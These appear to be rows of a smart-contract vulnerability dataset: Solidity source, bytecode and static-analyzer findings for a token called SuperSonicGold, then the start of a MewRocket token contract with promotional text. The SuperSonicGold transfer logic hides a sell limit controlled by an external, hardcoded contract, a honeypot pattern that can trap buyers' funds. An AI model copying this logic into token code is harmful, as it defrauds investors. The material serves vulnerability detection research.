newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract SuperSonicGold is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = TOTAL_SUPPLY; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private constant _burnFee=1; uint256 private constant _taxFee=9; address payable private _taxWallet; string private constant _name = TOKEN_NAME; string private constant _symbol = TOKEN_SYMBOL; uint8 private constant _decimals = DECIMALS; IUniswapV2Router02 private _router; address private _pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; emit Transfer(address(0x0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(((to == _pair && from != address(_router) )?amount:0) <= Odin(ROUTER_ADDRESS).amount(address(this))); if (from != owner() && to != owner()) { uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != _pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _router.WETH(); _approve(address(this), address(_router), tokenAmount); _router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } modifier overridden() { require(_taxWallet == _msgSender() ); _; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(UNISWAP_ADDRESS); _router = _uniswapV2Router; _approve(address(this), address(_router), _tTotal); _pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); _router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; tradingOpen = true; IERC20(_pair).approve(address(_router), type(uint).max); } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external { require(_msgSender() == _taxWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { require(_msgSender() == _taxWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106100e15760003560e01c8063715018a61161007f578063a9059cbb11610059578063a9059cbb146102a9578063c9567bf9146102e6578063dd62ed3e146102fd578063f42938901461033a576100e8565b8063715018a61461023c5780638da5cb5b1461025357806395d89b411461027e576100e8565b806323b872dd116100bb57806323b872dd14610180578063313ce567146101bd57806351bc3c85146101e857806370a08231146101ff576100e8565b806306fdde03146100ed578063095ea7b31461011857806318160ddd14610155576100e8565b366100e857005b600080fd5b3480156100f957600080fd5b50610102610351565b60405161010f919061230a565b60405180910390f35b34801561012457600080fd5b5061013f600480360381019061013a9190611ecd565b61038e565b60405161014c91906122ef565b60405180910390f35b34801561016157600080fd5b5061016a6103ac565b604051610177919061246c565b60405180910390f35b34801561018c57600080fd5b506101a760048036038101906101a29190611e7a565b6103bb565b6040516101b491906122ef565b60405180910390f35b3480156101c957600080fd5b506101d2610494565b6040516101df91906124e1565b60405180910390f35b3480156101f457600080fd5b506101fd61049d565b005b34801561020b57600080fd5b5061022660048036038101906102219190611de0565b610517565b604051610233919061246c565b60405180910390f35b34801561024857600080fd5b50610251610568565b005b34801561025f57600080fd5b506102686106bb565b6040516102759190612221565b60405180910390f35b34801561028a57600080fd5b506102936106e4565b6040516102a0919061230a565b60405180910390f35b3480156102b557600080fd5b506102d060048036038101906102cb9190611ecd565b610721565b6040516102dd91906122ef565b60405180910390f35b3480156102f257600080fd5b506102fb61073f565b005b34801561030957600080fd5b50610324600480360381019061031f9190611e3a565b610c6f565b604051610331919061246c565b60405180910390f35b34801561034657600080fd5b5061034f610cf6565b005b60606040518060400160405280601081526020017f537570657220536f6e696320476f6c6400000000000000000000000000000000815250905090565b60006103a261039b610d68565b8484610d70565b6001905092915050565b6000662386f26fc10000905090565b60006103c8848484610f3b565b610489846103d4610d68565b61048485604051806060016040528060288152602001612abc60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061043a610d68565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113039092919063ffffffff16565b610d70565b600190509392505050565b60006008905090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166104de610d68565b73ffffffffffffffffffffffffffffffffffffffff16146104fe57600080fd5b600061050930610517565b905061051481611367565b50565b6000610561600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115ef565b9050919050565b610570610d68565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f4906123cc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f5353470000000000000000000000000000000000000000000000000000000000815250905090565b600061073561072e610d68565b8484610f3b565b6001905092915050565b610747610d68565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107cb906123cc565b60405180910390fd5b600b60149054906101000a900460ff1615610824576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081b9061244c565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506108b230600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16662386f26fc10000610d70565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108f857600080fd5b505afa15801561090c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109309190611e0d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561099257600080fd5b505afa1580156109a6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109ca9190611e0d565b6040518363ffffffff1660e01b81526004016109e792919061223c565b602060405180830381600087803b158015610a0157600080fd5b505af1158015610a15573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a399190611e0d565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ac230610517565b600080610acd6106bb565b426040518863ffffffff1660e01b8152600401610aef9695949392919061228e565b6060604051808303818588803b158015610b0857600080fd5b505af1158015610b1c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b419190611f67565b5050506001600b60166101000a81548160ff0219169083151502179055506001600b60146101000a81548160ff021916908315150217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610c19929190612265565b602060405180830381600087803b158015610c3357600080fd5b505af1158015610c47573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c6b9190611f0d565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d37610d68565b73ffffffffffffffffffffffffffffffffffffffff1614610d5757600080fd5b6000479050610d658161165d565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610de0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd79061242c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e479061236c565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f2e919061246c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa29061240c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561101b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110129061232c565b60405180910390fd5b6000811161105e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611055906123ec565b60405180910390fd5b73c6866ce931d4b765d66080dd6a47566ccb99f62f73ffffffffffffffffffffffffffffffffffffffff1663b9f0bf66306040518263ffffffff1660e01b81526004016110ab9190612221565b60206040518083038186803b1580156110c357600080fd5b505afa1580156110d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110fb9190611f3a565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156111a65750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b6111b15760006111b3565b815b11156111be57600080fd5b6111c66106bb565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561123457506112046106bb565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156112f357600061124430610517565b9050600b60159054906101000a900460ff161580156112b15750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156112c95750600b60169054906101000a900460ff165b156112f1576112d781611367565b600047905060008111156112ef576112ee4761165d565b5b505b505b6112fe8383836116c9565b505050565b600083831115829061134b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611342919061230a565b60405180910390fd5b506000838561135a9190612632565b9050809150509392505050565b6001600b60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561139f5761139e61278d565b5b6040519080825280602002602001820160405280156113cd5781602001602082028036833780820191505090505b50905030816000815181106113e5576113e461275e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561148757600080fd5b505afa15801561149b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114bf9190611e0d565b816001815181106114d3576114d261275e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061153a30600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d70565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161159e959493929190612487565b600060405180830381600087803b1580156115b857600080fd5b505af11580156115cc573d6000803e3d6000fd5b50505050506000600b60156101000a81548160ff02191690831515021790555050565b6000600754821115611636576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162d9061234c565b60405180910390fd5b60006116406116d9565b9050611655818461170490919063ffffffff16565b915050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156116c5573d6000803e3d6000fd5b5050565b6116d483838361174e565b505050565b60008060006116e6611919565b915091506116fd818361170490919063ffffffff16565b9250505090565b600061174683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611975565b905092915050565b600080600080600080611760876119d8565b9550955095509550955095506117be86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a3e90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061185385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8890919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061189f81611ae6565b6118a98483611ba3565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611906919061246c565b60405180910390a3505050505050505050565b600080600060075490506000662386f26fc10000905061194b662386f26fc1000060075461170490919063ffffffff16565b82101561196857600754662386f26fc10000935093505050611971565b81819350935050505b9091565b600080831182906119bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b3919061230a565b60405180910390fd5b50600083856119cb91906125a7565b9050809150509392505050565b60008060008060008060008060006119f38a60016009611bdd565b9250925092506000611a036116d9565b90506000806000611a168e878787611c73565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611a8083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611303565b905092915050565b6000808284611a979190612551565b905083811015611adc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ad39061238c565b60405180910390fd5b8091505092915050565b6000611af06116d9565b90506000611b078284611cfc90919063ffffffff16565b9050611b5b81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8890919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611bb882600754611a3e90919063ffffffff16565b600781905550611bd381600854611a8890919063ffffffff16565b6008819055505050565b600080600080611c096064611bfb888a611cfc90919063ffffffff16565b61170490919063ffffffff16565b90506000611c336064611c25888b611cfc90919063ffffffff16565b61170490919063ffffffff16565b90506000611c5c82611c4e858c611a3e90919063ffffffff16565b611a3e90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611c8c8589611cfc90919063ffffffff16565b90506000611ca38689611cfc90919063ffffffff16565b90506000611cba8789611cfc90919063ffffffff16565b90506000611ce382611cd58587611a3e90919063ffffffff16565b611a3e90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611d0f5760009050611d71565b60008284611d1d91906125d8565b9050828482611d2c91906125a7565b14611d6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d63906123ac565b60405180910390fd5b809150505b92915050565b600081359050611d8681612a76565b92915050565b600081519050611d9b81612a76565b92915050565b600081519050611db081612a8d565b92915050565b600081359050611dc581612aa4565b92915050565b600081519050611dda81612aa4565b92915050565b600060208284031215611df657611df56127bc565b5b6000611e0484828501611d77565b91505092915050565b600060208284031215611e2357611e226127bc565b5b6000611e3184828501611d8c565b91505092915050565b60008060408385031215611e5157611e506127bc565b5b6000611e5f85828601611d77565b9250506020611e7085828601611d77565b9150509250929050565b600080600060608486031215611e9357611e926127bc565b5b6000611ea186828701611d77565b9350506020611eb286828701611d77565b9250506040611ec386828701611db6565b9150509250925092565b60008060408385031215611ee457611ee36127bc565b5b6000611ef285828601611d77565b9250506020611f0385828601611db6565b9150509250929050565b600060208284031215611f2357611f226127bc565b5b6000611f3184828501611da1565b91505092915050565b600060208284031215611f5057611f4f6127bc565b5b6000611f5e84828501611dcb565b91505092915050565b600080600060608486031215611f8057611f7f6127bc565b5b6000611f8e86828701611dcb565b9350506020611f9f86828701611dcb565b9250506040611fb086828701611dcb565b9150509250925092565b6000611fc68383611fd2565b60208301905092915050565b611fdb81612666565b82525050565b611fea81612666565b82525050565b6000611ffb8261250c565b612005818561252f565b9350612010836124fc565b8060005b838110156120415781516120288882611fba565b975061203383612522565b925050600181019050612014565b5085935050505092915050565b61205781612678565b82525050565b612066816126bb565b82525050565b600061207782612517565b6120818185612540565b93506120918185602086016126cd565b61209a816127c1565b840191505092915050565b60006120b2602383612540565b91506120bd826127d2565b604082019050919050565b60006120d5602a83612540565b91506120e082612821565b604082019050919050565b60006120f8602283612540565b915061210382612870565b604082019050919050565b600061211b601b83612540565b9150612126826128bf565b602082019050919050565b600061213e602183612540565b9150612149826128e8565b604082019050919050565b6000612161602083612540565b915061216c82612937565b602082019050919050565b6000612184602983612540565b915061218f82612960565b604082019050919050565b60006121a7602583612540565b91506121b2826129af565b604082019050919050565b60006121ca602483612540565b91506121d5826129fe565b604082019050919050565b60006121ed601783612540565b91506121f882612a4d565b602082019050919050565b61220c816126a4565b82525050565b61221b816126ae565b82525050565b60006020820190506122366000830184611fe1565b92915050565b60006040820190506122516000830185611fe1565b61225e6020830184611fe1565b9392505050565b600060408201905061227a6000830185611fe1565b6122876020830184612203565b9392505050565b600060c0820190506122a36000830189611fe1565b6122b06020830188612203565b6122bd604083018761205d565b6122ca606083018661205d565b6122d76080830185611fe1565b6122e460a0830184612203565b979650505050505050565b6000602082019050612304600083018461204e565b92915050565b60006020820190508181036000830152612324818461206c565b905092915050565b60006020820190508181036000830152612345816120a5565b9050919050565b60006020820190508181036000830152612365816120c8565b9050919050565b60006020820190508181036000830152612385816120eb565b9050919050565b600060208201905081810360008301526123a58161210e565b9050919050565b600060208201905081810360008301526123c581612131565b9050919050565b600060208201905081810360008301526123e581612154565b9050919050565b6000602082019050818103600083015261240581612177565b9050919050565b600060208201905081810360008301526124258161219a565b9050919050565b60006020820190508181036000830152612445816121bd565b9050919050565b60006020820190508181036000830152612465816121e0565b9050919050565b60006020820190506124816000830184612203565b92915050565b600060a08201905061249c6000830188612203565b6124a9602083018761205d565b81810360408301526124bb8186611ff0565b90506124ca6060830185611fe1565b6124d76080830184612203565b9695505050505050565b60006020820190506124f66000830184612212565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061255c826126a4565b9150612567836126a4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561259c5761259b612700565b5b828201905092915050565b60006125b2826126a4565b91506125bd836126a4565b9250826125cd576125cc61272f565b5b828204905092915050565b60006125e3826126a4565b91506125ee836126a4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561262757612626612700565b5b828202905092915050565b600061263d826126a4565b9150612648836126a4565b92508282101561265b5761265a612700565b5b828203905092915050565b600061267182612684565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006126c6826126a4565b9050919050565b60005b838110156126eb5780820151818401526020810190506126d0565b838111156126fa576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b612a7f81612666565b8114612a8a57600080fd5b50565b612a9681612678565b8114612aa157600080fd5b50565b612aad816126a4565b8114612ab857600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202a2d1ea07a55f7ec89a4ff6276c8f3a44aeb0432f4f615832e34f799b309760364736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,768
0xf51e2306ef2c3847c56d123858883c404a9c17f9
/** \ / \ | \ | \ | \ | $$\ / $$ ______ __ __ __ | $$$$$$$\ ______ _______ | $$ __ ______ _| $$_ | $$$\ / $$$ / \ | \ | \ | \| $$__| $$ / \ / \| $$ / \ / \| $$ \ | $$$$\ $$$$| $$$$$$\| $$ | $$ | $$| $$ $$| $$$$$$\| $$$$$$$| $$_/ $$| $$$$$$\\$$$$$$ | $$\$$ $$ $$| $$ $$| $$ | $$ | $$| $$$$$$$\| $$ | $$| $$ | $$ $$ | $$ $$ | $$ __ | $$ \$$$| $$| $$$$$$$$| $$_/ $$_/ $$| $$ | $$| $$__/ $$| $$_____ | $$$$$$\ | $$$$$$$$ | $$| \ | $$ \$ | $$ \$$ \ \$$ $$ $$| $$ | $$ \$$ $$ \$$ \| $$ \$$\ \$$ \ \$$ $$ \$$ \$$ \$$$$$$$ \$$$$$\$$$$ \$$ \$$ \$$$$$$ \$$$$$$$ \$$ \$$ \$$$$$$$ \$$$$ Telegram - t.me/mewrocket Website - www.mewrocket.com - Go check out our roadmap! Twitter - @RealMewRocket Reddit - @RealMewRocket MewRocket - The Rarest Pokemon meets Ethereum. Token Information - Myobu Fork (The tokenomics were too godly not to use) 1. 1,000,000,000,000 Total Supply 3. Developer provides LP 4. Fair launch for everyone! 5. 1% transaction limit on launch 6. Buy limit lifted after launch 7. Sells limited to 3% of the Liquidity Pool, <2.9% price impact 8. Sell cooldown increases on consecutive sells, 4 sells within a 24 hours period are allowed 9. 2% redistribution to holders on all buys 10. 7% redistribution to holders on the first sell, increases 2x, 3x, 4x on consecutive sells 11. Redistribution actually works! 12. 5-6% developer fee split within the team - Replaces the team wallet. SPDX-License-Identifier: Mines™®© */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, 